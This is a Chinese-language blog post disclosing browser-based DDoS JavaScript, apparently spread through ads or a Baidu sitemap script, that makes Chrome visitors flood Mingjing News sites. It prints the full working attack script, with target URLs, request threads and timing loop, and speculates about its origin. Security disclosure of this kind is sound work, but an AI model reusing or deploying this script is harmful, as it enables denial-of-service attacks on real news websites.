本篇文章更新時間:2019/02/16
如有資訊過時或語誤之處,歡迎使用 Contact 功能通知。
一介資男的 LINE 社群開站囉!歡迎入群聊聊~
如果本站內容對你有幫助,歡迎使用 BFX Pay 加密貨幣 或 新台幣 贊助支持。
更新:百度站長工具 Sitemap 主動推送功能暗藏惡意攻擊程式碼
最近在開發網站的時候觀察到一個突然的大量請求從網站發生,一開始沒注意,剛剛又發生了就順手檢查,一檢查不得了,原來我電腦正在攻擊明鏡時報!
攻擊碼如下:
if ((/chrome/([d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
}
document.getElementsByTagName("head")[0].innerHTML = "" + document.getElementsByTagName("head")[0].innerHTML;
var p_img_list = [];
var timer_list = [];
var starttime = null;
var requesttime_list = [];
var responsetime_list = [];
var url = '';
var count = 0;
function imgdel(index) {
var p_img_tmp = p_img_list[index];
if (p_img_tmp != null) {
document.body.removeChild(p_img_tmp)
}
p_img_list[index] = null;
if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
}
}
function isImgComplete(index) {
if (p_img_list[index] == null) {
return
}
if (p_img_list[index].complete) {
window.clearInterval(timer_list[index]);
responsetime_list[index] = new Date().getTime();
imgdel(index)
} else {
if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
window.clearInterval(timer_list[index]);
imgdel(index)
}
}
}
function imgadd(index) {
p_img_tmp = document.body.appendChild(document.createElement('img'));
url = url_list[unixtime() % url_list.length];
p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
p_img_tmp.style.display = 'none';
p_img_list[index] = p_img_tmp;
requesttime_list[index] = responsetime_list[index] = new Date().getTime();
timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
count = count + 1
}
function start() {
starttime = new Date().getTime();
for (var ti = 0; ti < THREAD; ti += 1) {
p_img_list[ti] = null;
timer_list[ti] = null;
requesttime_list[ti] = null;
responsetime_list[ti] = null;
imgadd(ti)
}
}
var now = new Date();
setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
}
Gist:Link
怎麼都沒辦法在網站上找到這串強迫你 Chrome 瀏覽器去惡意大量請求明鏡網站的 JavaScript ,後來對照線上站放置一段時間後也會請求,並隨著一段時間消失,得出一個結論:
這惡意程式碼應該是跟著廣告走的!
手法就是讓大家開著 Chrome 瀏覽某則最近大量曝光的廣告同時幫忙「請求」明鏡時報,只是請求稍微誇張多了點(汗)。
經過詢問多人是否能正常瀏覽明鏡,答案都是否,很明顯不是只有我這樣,到底可能是哪個網軍呢?...恩,不多說,免得換我網站掰了。
#Hack #DDoS #攻擊 #手法 #明鏡時報 #廣告 #Chrome #攻擊碼 #技術相關 #新聞資訊 #駭客攻擊 #阻斷式攻擊
![[DDoS] 你知道你正在攻擊明鏡時報的網站嗎?](https://www.mxp.tw/wp-content/uploads/2017/08/20785796_1660233130713793_4131361721075095882_o.png)
- Powered by Mxp.TW -FB2WP-